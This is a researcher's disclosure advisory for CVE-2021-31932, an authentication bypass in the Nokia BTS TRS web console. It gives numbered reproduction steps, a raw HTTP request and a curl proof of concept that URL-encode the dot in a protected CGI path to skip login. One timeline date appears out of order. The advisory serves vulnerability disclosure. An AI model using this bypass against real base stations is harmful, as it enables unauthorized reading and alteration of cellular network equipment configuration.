title: Nokia Transport Module Authentication Bypass case id: CM-2020-02 product: BTS TRS web console (FTM_W20_FP2_2019.08.16_0010) vulnerability type: Authentication Bypass severity: Critical found: 2020-09-28 CVE: CVE-2021-31932 by: Cristiano Maruti (@cmaruti) [EXECUTIVE SUMMARY] The TRS web console allows an authenticated user to remotely manage the BTS and its configuration. The analysis discovered an authentication bypass vulnerability (CWE-289) in the web management console. A malicious unauthenticated user can get access to all the functionalities exposed via the web panel circumventing the authentication process. The vulnerability lies in the way the web server in use (lighttpd) protects restricted resources and how special characters are encoded and pass to the underline CGIs. A successful attack can read data from the BTS and read, modify or delete BTS configuration. [VULNERABLE VERSIONS] The following version of the TRS web console was affected by the vulnerability; previous versions may be vulnerable as well: - BTS TRS web console (FTM_W20_FP2_2019.08.16_0010) [TECHNICAL DETAILS] It is possible to reproduce the vulnerability following these steps: 1. Open a web browser and insert the BTS TRS web console IP 2. Navigate to a protected resource (for example /protected/ShowErrorLog.cgi) 3. Subsitute the dot character with the corresponding URL encoded value (%2e) 4. Resulting URL (/protected/ShowErrorLog%2ecgi?token=thisIsNotTheRightToken) give access without prompt for any authentication credential Below a full transcript of the HTTP request used to get access to a protected resource. HTTP Request ------------------------------------------------------------------------------- GET /protected/ShowErrorLog%2Ecgi?token=thisIsNotTheRightToken HTTP/1.1 Host: <targetip> User-Agent: curl/7.67.0 Accept: */* ------------------------------------------------------------------------------- cURL PoC ------------------------------------------------------------------------------- # curl -vk https://<targetip>/protected/ShowErrorLog%2Ecgi?token=thisIsNotTheRightToken&frame=showLogFile [VULNERABILITY REFERENCE] Mitre assigned the following CVE ID to the vulnerability: CVE-2021-31932 [DISCLOSURE TIMELINE] 2020-10-06: Contacting Nokia PSIRT and shared the details of the vulnerability 2020-10-07: Nokia PSIRT acknowledge the receipt of the message. 2021-10-12: Vendor engineering team confirmed the vulnerability and working on patch (estimated time end of 2020). 2021-04-30: Research requested a CVE assignment through MITRE CVE Assignment Team; allocated CVE-2021-31932 2021-05-01: Researcher notified the assigned CVE number to the Vendor 2022-02-08: Researcher asked for permission to publicly release the report to the public; Nokia PSIRT acknowledged 2022-02-10: Public release -- Cristiano Maruti about.me/cmaruti